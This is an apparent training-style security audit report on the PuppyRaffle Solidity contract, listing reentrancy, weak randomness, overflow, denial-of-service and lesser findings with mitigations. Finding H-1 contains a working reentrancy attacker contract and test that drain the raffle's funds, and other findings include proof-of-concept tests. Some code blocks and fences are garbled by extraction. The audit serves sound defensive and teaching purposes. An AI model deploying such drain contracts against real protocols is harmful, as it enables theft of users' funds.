Protocol Audit Report

Version 1.0

Cyfrin.io

April 29, 2025

PuppyRaffle Audit

EmptySet

April 29, 2025

Prepared by: EmptySet Lead Auditors: - EmptySet

Table of Contents

- [M-1] Unbounded for loop in the 'PuppyRaffle::EnterRaffle' function may cause a DDOS attack
- [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
- [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle
- Informational
  - [I-1] Unspecific Solidity Pragma
  - [I-2] Using an outdated version of Solidity is not recommended
  - [I-3] Address State Variable Set Without Checks
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] State Changes are Missing Events
  - [I-7] _isActivePlayer is never used and should be removed
- Gas
  - [G-1] Unchanged state variables should be immutable or constant
  - [G-2] Storage Variables in loops should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the enterRaffle function with the following parameters:
  - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the refund function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The EmptySet team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

// Here we'll grab the commit hash Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

It took 2 days to audit this code. I wrote some of the POC myself

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy Vulnerability in the `PuppyRaffle::refund` Function Allows Contract Drain

Description: The PuppyRaffle::refund function makes an external call (sendValue) before updating important contract state (players[playerIndex] = address(0)). This ordering opens up a reentrancy vulnerability, where an attacker can reenter the refund function via the fallback or receive functions before their player entry is invalidated. As a result, the attacker can repeatedly call refund and drain the entire contract balance.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);

@>  players[playerIndex] = address(0);
```

```
    emit RaffleRefunded(playerAddress);
}
```

Impact: An attacker can exploit this vulnerability to continuously refund themselves, withdrawing more than their fair share and draining the entire PuppyRaffle contract balance. This would result in a full loss of funds for legitimate users and a critical breakdown of trust in the protocol.

Proof of Concept: By creating a malicious contract (ReentrancyAttacker), an attacker can recursively call refund every time funds are sent back to them, emptying the raffle contract:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address ;
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Test Output (simplified):

Before attack:

attackerContract balance: 0 ETH

puppyRaffle balance: 5 ETH

After attack:

attackerContract balance: ~5 ETH

puppyRaffle balance: ~0 ETH

This confirms that the attacker successfully drained the entire contract.

Test Case `test_reentrancyRefund`

```
    function test_reentrancyRefund() public {
        address ;
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        console.log("attackerContract balance: ",
            startingAttackContractBalance);
        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance
            );
        console.log("ending attackerContract balance: ", address(
            attackerContract).balance);
        console.log("ending puppyRaffle balance: ", address(puppyRaffle
            ).balance);
}
```

Recommended Mitigation: Always update the contract state before making external calls.

Use the checks-effects-interactions pattern:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

```

```diff
+    players[playerIndex] = address(0);

     payable(msg.sender).sendValue(entranceFee);

-    players[playerIndex] = address(0);
     emit RaffleRefunded(playerAddress);
 }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block,timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept:

code

```
    function testTotalFeeCanOverflow() public {
        uint256 numPlayers = 1000;
        address[] memory players = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i + 1);
        }
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
           players);
        vm.warp(
            block.timestamp +
                puppyRaffle.raffleStartTime() +
                puppyRaffle.raffleDuration() +
                1
        );
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        assert(
            puppyRaffle.totalFees() != (entranceFee * numPlayers * 20)
               / 100
        );
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. `diff - pragma solidity ^0.7.6; + pragma solidity ^0.8.18;` Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.
2. Use a `uint256` instead of a `uint64` for `totalFees`. `diff - uint64 public totalFees = 0; + uint256 public totalFees = 0;`
3. Remove the balance check in `PuppyRaffle::withdrawFees` `diff - require( address(this).balance == uint256(totalFees), "PuppyRaffle: There`

`are currently players active!");` We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Unbounded for loop in the 'PuppyRaffle::EnterRaffle' function may cause a DDOS attack

Description: The 'PuppyRaffle::EnterRaffle' function loops through the 'player' array to check for duplicates. Because there isno limit to the size of the player array, the for loop will be unbounded making every consecutive call of this function more expensive than the previous. This can lead to a DDOS attack where users cannot call this funtion because it reaches the gas limit.

"'javascript @> for(uint256 i = 0; i < players.length -1; i++){ for(uint256 j = i+1; j< players.length; j++){ require(players[i] != players[j],"PuppyRaffle: Duplicate Player"); } }" '

Impact: The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Proof of Code

' ' 'js function testDenialOfService() public { // Foundry lets us set a gas price vm.txGasPrice(1);

```
// Creates 100 addresses
uint256 playersNum = 100;
address[] memory players = new address[](playersNum);
for (uint256 i = 0; i < players.length; i++) {
    players[i] = address(i);
}

// Gas calculations for first 100 players
uint256 gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players)
    ;
uint256 gasEnd = gasleft();
uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
```

```
console.log("Gas cost of the first 100 players: ", gasUsedFirst);

// Creates another array of 100 players
address[] memory playersTwo = new address[](playersNum);
for (uint256 i = 0; i < playersTwo.length; i++) {
    playersTwo[i] = address(i + playersNum);
}

// Gas calculations for second 100 players
uint256 gasStartTwo = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
uint256 gasEndTwo = gasleft();
uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
console.log("Gas cost of the second 100 players: ", gasUsedSecond);

assert(gasUsedSecond > gasUsedFirst);
```

}’’’

Recommended Mitigation: 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn’t prevent the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
```

```
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
          emit RaffleEnter(newPlayers);
      }
.
.
.
      function selectWinner() external {
+         raffleId = raffleId + 1;
          require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
      function selectWinner() external {
          require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
          require(players.length > 0, "PuppyRaffle: No players in raffle");

          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
          address winner = players[winnerIndex];
          uint256 fee = totalFees / 10;
          uint256 winnings = address(this).balance - fee;
@>        totalFees = totalFees + uint64(fee);
          players = new address[](0);
          emit RaffleWinner(winner, winnings);
      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits

3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

~~~
```js
function getActivePlayerIndex(address player) external view returns (
    uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```
~~~

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

The test below proves that `PuppyRaffle::getActivePlayerIndex` will return 0 for both the first player and non-player.

```
    function
        testgetActivePlayerIndexReturnsZeroForFirstPlayerAndAlsoZeroForNonPlayers
        ()
          public
     {
          address[] memory players = new address[](1);
          players[0] = playerOne;
          puppyRaffle.enterRaffle{value: entranceFee}(players);
          assertEq(
              puppyRaffle.getActivePlayerIndex(playerOne), //first player
              puppyRaffle.getActivePlayerIndex(playerTwo)  //non player
          );
     }
```

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

it is better to use a newer version of solidity like `0.8.18`

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please refer to this slither documentation (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) for more information.

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 201

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples: "'js uint256 public constant PRIZE_POOL_PERCENTAGE = 80; uint256 public constant FEE_PERCENTAGE = 20; uint256 public constant POOL_PRECISION = 100;

```
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```
```
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] Unchanged state variables should be immutable or constant

It is more expensie to read from storage than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be immutable. - `PuppyRaffle::commonImageUri` should be constant. - `PuppyRaffle::rareImageUri` should be constant. - `PuppyRaffle::legendaryImageUri` should be constant.

[G-2] Storage Variables in loops should be cached

Everytime you call `players.length` you are reading from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playersLength = players.lenght;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
```

```
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                 require(
                     players[i] != players[j],
                     "PuppyRaffle: Duplicate player"
                 );
             }
         }
```